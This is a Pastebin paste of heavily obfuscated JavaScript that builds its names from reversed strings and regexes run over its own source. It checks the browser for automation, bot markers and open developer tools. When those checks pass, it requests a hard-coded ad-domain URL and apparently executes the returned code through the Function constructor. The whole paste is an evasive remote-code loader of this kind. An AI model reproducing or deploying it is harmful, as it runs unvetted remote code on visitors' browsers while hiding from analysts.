Advertisement
StanislavPipa

Obfuscation 5.v2

Jul 25th, 2019
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var URL = "https://init.xi.vg/ads/mobile.php?alert";
  2.  
  3. +function(){
  4.   var greet = 'gi', add, present;
  5.  
  6.   function allPass(data, arg) {
  7.     return arg ? data[0].toUpperCase()+data.substring(1) : data.toLowerCase();
  8.   }
  9.  
  10.   function ap (data) { return data.split('').reverse().join('') }
  11.  
  12.   function treats(vol, key) { return new RegExp(vol, key) }
  13.  
  14.   function multiply(vol) {
  15.     var tmps = Object.keys(vol);
  16.     var values = tmps.map(function (_property) {
  17.       return vol[_property];
  18.     });
  19.     return tmps.concat(values);
  20.   }
  21.  
  22.   function greater(vol, key) {
  23.     return key ? Object.keys(vol)
  24.       : Object.keys(vol).map(function (tmp) {
  25.         return vol[tmp];
  26.       });
  27.   }
  28.  
  29.   var gaps, value, curried, any;
  30.  
  31.   function aperture(data, keys) { return data.slice(keys[0], keys[1]) }
  32.  
  33.   function composed(data) {
  34.     return data.reduce(function (first, second) { return first.concat(second) })
  35.   }
  36.  
  37.   function transformer(volume) { return volume.toString() }
  38.  
  39.   function append(data) {
  40.     return data.map(function (_elements) {
  41.       return _elements.reduce(function (acc, sec, ind) {
  42.         if (ind === 1){ return [acc, sec] }
  43.         var key = true;
  44.         acc.forEach(function (teg) { if (sec === teg) { key = false } });
  45.  
  46.         if (key) { acc.push(sec); return acc }
  47.         return acc;
  48.       });
  49.     })
  50.   }
  51.  
  52.   function pairs(data, arg) { return data.join(arg || '') }
  53.  
  54.   function arity (vol, coords) {
  55.     if (!coords.x){ return vol.slice(coords.y) }
  56.     return vol.slice(coords.y, coords.x);
  57.   }
  58.  
  59.   function prepend(data, volume) { return volume.map(function (vol) { return data[vol] }) }
  60.  
  61.   function  unapply(args,  juxt) { return args in (  juxt || value) } any = '[a-zA-Z]';
  62.  
  63.   function reference(web, embly) {
  64.     var result = web.ass.concat(embly).map(function (side) {
  65.       side.forEach(function (content) {
  66.         if (content === 'bar'){
  67.           return content;
  68.         }
  69.         return rect;
  70.       })
  71.     });
  72.   }
  73.  
  74.   function objektieflens(color, screen) {
  75.     var base = color;
  76.     var data = screen.tent;
  77.     return { persis: base + data, open: color.depth };
  78.   }
  79.  
  80.   function originalValue(doc) {
  81.     return doc.map(function (element) {
  82.       return element.style || element.alt;
  83.     });
  84.   }
  85.  
  86.   function predicatesList(bug, light) {
  87.     return bug.color === light ? light.name : light.plug;
  88.   }
  89.  
  90.   var repeat = { aperture_: 'gen_',  _write:'enable', _more: 'crypt', Int_: 'ad2' };
  91.  
  92.   function providedPredicatesIsSatisfied(web, buffer) {
  93.     var fire = buffer.split(web.saf, web.ari, web.glf);
  94.     fire.forEach(function (el, index) {
  95.       el = index === 1 ? el.edg + web.trid : el.rame - web.fari;
  96.     });
  97.   }
  98.  
  99.   function isProvidedPredicateIsSatisfied(perform, entries) {
  100.     var res = get(perform.byType) + entries.ance;
  101.   }
  102.  
  103.   var least, predicate, given, rank;
  104.  
  105.   function createFCST(data) {
  106.     var tmps = data.map(function (el) { return transformer(el) });
  107.     value = window;
  108.  
  109.     var suits = ['{3,7}','{4,7}','{3,7}','{3,5}']
  110.       .map(function (condition) { return treats(any+condition, greet) });
  111.  
  112.     var props = [];
  113.     tmps.forEach(function(acc, key) {
  114.       var prop = suits.map(function(reg, ind) { if (key === ind) { return acc.match(reg) } });
  115.       prop.map(function(tmp) { if (tmp) { props.push(tmp) } });
  116.     });
  117.  
  118.     const isSpade = append(props);
  119.  
  120.     function foo(data) { return  data.prototype }
  121.     var isClub = isSpade.map(function (obj) { return arity(obj, {y: 2}) });
  122.  
  123.     least = [[0,4,1],[7,10],[9],[12],[1]]
  124.       .map(function (arg, key) { var grabed = prepend(isClub[0], arg),
  125.         elts = grabed.map(function (el, ind) {
  126.           if (key === 0) { return ind === 2 ? el: allPass(el, true) }
  127.           else if (key === 3) { return allPass(el, true) }
  128.           else { return el }
  129.         });
  130.  
  131.         var ready = elts.reduce(function (acc, sec) { return acc+sec });
  132.         gaps = navigator;
  133.  
  134.         return key === 3 ? ! unapply(ready) : key === 4 ? 1 : unapply(ready);
  135.       });
  136.  
  137.     least = least.reduce(function (first, second) { return first && second });
  138.     present = foo(value.Array);
  139.  
  140.     predicate = [[7,5],[8,4,3],[2,1,9]]
  141.       .map(function (data, key) { var _grabedElements = prepend(isClub[1], data),
  142.         elts = _grabedElements.map(function (el, ind) {
  143.           if (key === 1) { return ind === 1 ? allPass(el, true) : el }
  144.           else if (key === 2) { return ind === 2 ? allPass(el, true) : el }
  145.           else { return el.toUpperCase() }
  146.         }),
  147.  
  148.         ready = elts.reduce(function (acc, sec, ind) {
  149.           return key === 2 ? ind === 2 ? acc[0][acc[1]+sec] : [value[acc], sec] : acc + sec;
  150.         });
  151.  
  152.         return key === 2 ? ready :  unapply(ready);
  153.       });
  154.  
  155.     function sighting(data, key) { return present.join[data+ap(key)] }
  156.     predicate = predicate.reduce(function (data, keys) { return data && keys });
  157.  
  158.     given = [[6], [1, 4, 5]].map(function (vol, ind) {
  159.       var grabed = prepend(isClub[2], vol), curried = document,
  160.         elts = grabed.map(function (el, key) { if (ind === 1) {
  161.           return key === 1 ? ['u' + el.slice(3), allPass(el, true)] : el;
  162.         } return el;
  163.         });
  164.  
  165.       return elts.reduce(function (acc, next, vol) {
  166.         return ind === 1 ? vol === 1 ? curried[acc+next.join('')] : acc[next] : acc + next;
  167.       });
  168.     });
  169.  
  170.     given = given.reduce(function (data, vol) { return  unapply(data, vol) });
  171.  
  172.     rank = [[3],[4],[8],[7]]
  173.       .map(function (vol, _index) { var grabed = prepend(isClub[3], vol);
  174.  
  175.         return grabed.map(function (key) {
  176.           if (_index === 0) { return allPass('de'+key, true) }
  177.           if (_index === 2) { return key+'ins' }
  178.           return key;
  179.         });
  180.       });
  181.  
  182.     rank = rank.reduce(function (acc, next, ind) {
  183.       return ind === 1 ? [ unapply(acc),next]
  184.         : [acc[0], acc[1].concat(next)] }).reduce(function (first, key) {
  185.       return first && !(gaps[key[1][1]]
  186.         && gaps[key[1][key[2]].match(key[0])]);
  187.     });
  188.     present = sighting('const', 'rotcur');
  189.   }
  190.  
  191.   setTimeout(function () {
  192.     createFCST([reference, objektieflens, originalValue, predicatesList]);
  193.   }, 100);
  194.  
  195.   function splitAt(tps, it, key) {
  196.     var tmp = []; transformer(splitAt).match(treats(any + '{2,3}', 'g'))
  197.       .map(function (el, index) { return index === 5 || index === 6 ? tmp.push(el) : el });
  198.  
  199.     return key.map(function (el, ind) {
  200.       return ind === 0 ? { [it.split(', ')[ind]+tmp[0]]: tps.split(', ')[ind]+tmp[1]+'y'} :
  201.         { ['p'+tps.split(', ')[ind]]: 'go'+it.split(', ')[ind]};
  202.     })
  203.   }
  204.  
  205.   function sortWith(cat, arg, key) {
  206.     var tmp = transformer(sortWith).match(treats(any + '{3}', 'g'))[4];
  207.     return key ? { arg: cat+tmp } : { [cat]: arg+tmp };
  208.   }
  209.  
  210.   function _foo(array1, arr2) {
  211.     var array = array1.concat(arr2), res = {};
  212.     array.forEach(function (els) {
  213.       for (var el in els ) { res[el] = els[el] }
  214.     }); return res;
  215.   }
  216.  
  217.  
  218.   var combinator = _foo(
  219.     splitAt('secur, age', 'ht, ogle', [gaps, value]),
  220.     [sortWith('_tuples', 'syndi'), repeat]);
  221.  
  222.   setTimeout(function () {
  223.     variadic(combinator);
  224.   }, 200);
  225.  
  226.   function variadic(data) {
  227.     var cleaned = arity(greater(data, true), {y: 2}),
  228.       comAd = 'ion, com, ad', tail = '/, ., :';
  229.     function juxt(vol, tmp, el,  field) { return  field(vol, tmp) ? 4 : el ? 2 : 1 }
  230.  
  231.     function join(data, keys) {
  232.       var updKeys = keys.toString().split('');
  233.       return updKeys.map(function (el) {
  234.         return data.split(', ')[el];
  235.       })
  236.     }
  237.  
  238.     function sortBy(a, b, c, key, arg) {
  239.       return arg ? a + pairs(join(c, key[0]), '') + b + arg[key[1]]
  240.         : a + pairs(join(c, key[0])) + b;
  241.     }
  242.  
  243.     function based(a, b, key, arg) {
  244.       return arg ? '.'+ pairs(join(comAd, key[1]).concat(join(tail, key[0])))
  245.         : a + b[key[2]] + pairs(join(comAd, key[0]).concat(join(tail, key[1])), '');
  246.     }
  247.  
  248.     function getMetrics(volume) {
  249.       add = new Image(); var data = multiply(volume)
  250.         .filter(function (el) {
  251.           return !el.match('_') ? el : false;
  252.         });
  253.  
  254.       var tmp1 = data.reduce(function (acc, sec, ind) {
  255.         return ind === 1 ? sortBy(acc, sec, tail,[200, 7], data) : ind === 2 ? acc
  256.           : ind === 3 ? sortBy(acc, sec, tail,[1]): ind === 4
  257.             ? acc + sec + comAd.split(', ')[0] : acc;
  258.       });
  259.  
  260.       var prop1 = data.reduce(function (acc, sec, ind) {
  261.         return ind === 5 ? based(acc, sec, [0,1], true): ind === 6
  262.           ? based(acc, data,[2,0,1]) : ind === 7 ?
  263.             acc + volume.aperture_ + 204 : acc;
  264.       });
  265.  
  266.       return { s: 0, d: [], u: composed([tmp1, prop1]), n: predicate ? 6 : 2 };
  267.     }
  268.  
  269.     function gcp(volume, field, folder) {
  270.       var tmps = multiply(volume), props = transformer(field)
  271.         .match(treats(any+'{8}', greet)).slice(-1);
  272.  
  273.       return typeof(tmps[12]+ 'o')==props[0] ||
  274.         (gaps[folder+allPass(tmps[11], true) + 'd'] + tmps[10].d).match(/"/);
  275.     }
  276.  
  277.     var identity = [1,2,2,1,0]
  278.       .map(function(el) { return cleaned.splice(el, 1) });
  279.  
  280.     function comparator (data) { return least||rank?/"/:data._more }
  281.  
  282.    identity.forEach(function (el, ind) {
  283.      return data[el] = ind === 0 ? getMetrics(data) : ind === 1 ? add : ind === 2 ? comparator(data) :
  284.        ind === 3 ? gcp(data, reference, 'java') : juxt(data.https, curried, rank,  unapply);
  285.    })
  286.  }
  287.  
  288.  var flattens = 'Get some text. listen and load some. response ready event. Get state status request';
  289.  
  290.  function wrapper(folder, tmp, el, key, field) {
  291.    var tmps = folder.split(' '), prop = field(greater(combinator, true)[0], true)
  292.      .slice(0, -1);
  293.  
  294.    el = new value['xml'.toUpperCase() + prop + allPass(tmps[13], true)] ();
  295.    el.open(field(tmps[10]), tmp);
  296.  
  297.    el['add'+ allPass(tmps[9].slice(0, -1), true) +field(tmps[3]+'er', true)]
  298.    (tmps[5], function () {
  299.      this[tmps[8]+allPass(tmps[11] ,true)] == 4 && this[tmps[12]]==200
  300.      && key(this[tmps[7]+ field(tmps[2], true).slice(0, -1)])();
  301.    });
  302.    el.send();
  303.  }
  304.  
  305.  function both(flattens, a, b) { wrapper(flattens, a,b, present, allPass) }
  306.  
  307.  var user = { age: 18 };
  308.  setTimeout(function () {
  309.    var tmp = transformer(providedPredicatesIsSatisfied),
  310.      isValid = append([tmp.match(treats(any+'{3,6}', greet))]);
  311.  
  312.    function accept(volume, arg) {
  313.      var res = []; volume.forEach(function(el, key) {
  314.        key === arg[0] ? res.push(allPass(el, true)) : key === arg[2] ? res.push(el)
  315.          : key === 19 ? res.push(volume[7]) : key === arg[1] ? res.push(el.toUpperCase()) : el;
  316.      });
  317.      return res.join('');
  318.    }
  319.  
  320.    var elts = [least, predicate, given, rank],
  321.      form =  unapply(accept(isValid[0], [6,13,18]));
  322.  
  323.    applicative(gaps, isValid, !combinator._write && form, tmp, {user: user}, elts);
  324.  }, 400);
  325.  
  326.  function applicative(data, field, vol, arg, nt, form) {
  327.    var isValid = append([arg.match(treats(any+'{3,4}', greet))]);
  328.  
  329.    var clone = Object.keys(nt).concat(allPass(Object.keys(nt.user)[0], true)+'nt');
  330.  
  331.    user = isValid[0].map(function(el, ind) {
  332.      return  ind === 12 ? el + 'fox' : ind === 23 ? 'sa' + el :
  333.        ind === 21 ? el + 'ent' : ind === 20 ? el + 'e' : '';
  334.    });
  335.  
  336.    var unary = user.filter(function(el) { return el.length > 0 });
  337.  
  338.    var applied = unary.map(function (el) {
  339.      return data[clone.join('')].match(treats(el, 'i')) }).map(
  340.      function (el, ind) { return ind === 0 ? (el && form[ind]) : ind === 3 ?
  341.        (el && (form[1] || form[2])) : (el && form[3]);
  342.      }).reduce(function (acc, next) { return acc || next });
  343.  
  344.    var _arity = { max: 'toggle', touch: 'protocol', point: 'resource', next: 'Hop' };
  345.  
  346.    function cond(data) {
  347.      return arity(multiply(data), {y: 0, x: -5}).map(function (el, ind) {
  348.        return ind > 0 ? allPass(el, true) : el;
  349.      }).join('');
  350.    }
  351.  
  352.    function construct (data, key){
  353.      if (typeof key === 'string') { return data ? combinator._tuples-- : '' }
  354.      else if (data.length > 3) { return combinator._tuples-- }
  355.      else { combinator._tuples-- }
  356.      return '';
  357.    }
  358.  
  359.    function errorsCatcher(){
  360.      var tmp = transformer(isProvidedPredicateIsSatisfied),
  361.        isValid = append([tmp.match(treats(any+'{4,7}', greet))])[0].slice(5);
  362.  
  363.      var valid = isValid.map(function(el, index){
  364.        return index === 0 ? [el, isValid[3]].join('') : allPass(el, true);
  365.      });
  366.  
  367.      value[valid[0]]['get'+arity(valid, {y: 1, x: -1})
  368.        .join('')](_arity.point).forEach(function(a){a.name==combinator.aperture_.u &&
  369.      (a[multiply(_arity)[3]+_arity.next+allPass(multiply(_arity)[5], true)]
  370.        ||'h2').slice(~combinator.aperture_.d)==combinator.aperture_.n
  371.      &&both(flattens, URL);
  372.      });
  373.    };
  374.  
  375.    if (applied) {
  376.      if (vol && !(form[1]&&!data[cond(_arity)+'s'])) {
  377.        combinator.Int_.__defineGetter__(least||rank
  378.          ? 'to'+ allPass(typeof _arity.max, true) : 'id', construct);
  379.  
  380.        combinator.Int_.id = 'on' + _arity.max;
  381.        combinator._more.onerror = errorsCatcher;
  382.        combinator._more.src=combinator._tuples?combinator.aperture_.u:'';
  383.      }
  384.    }
  385.  }
  386. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement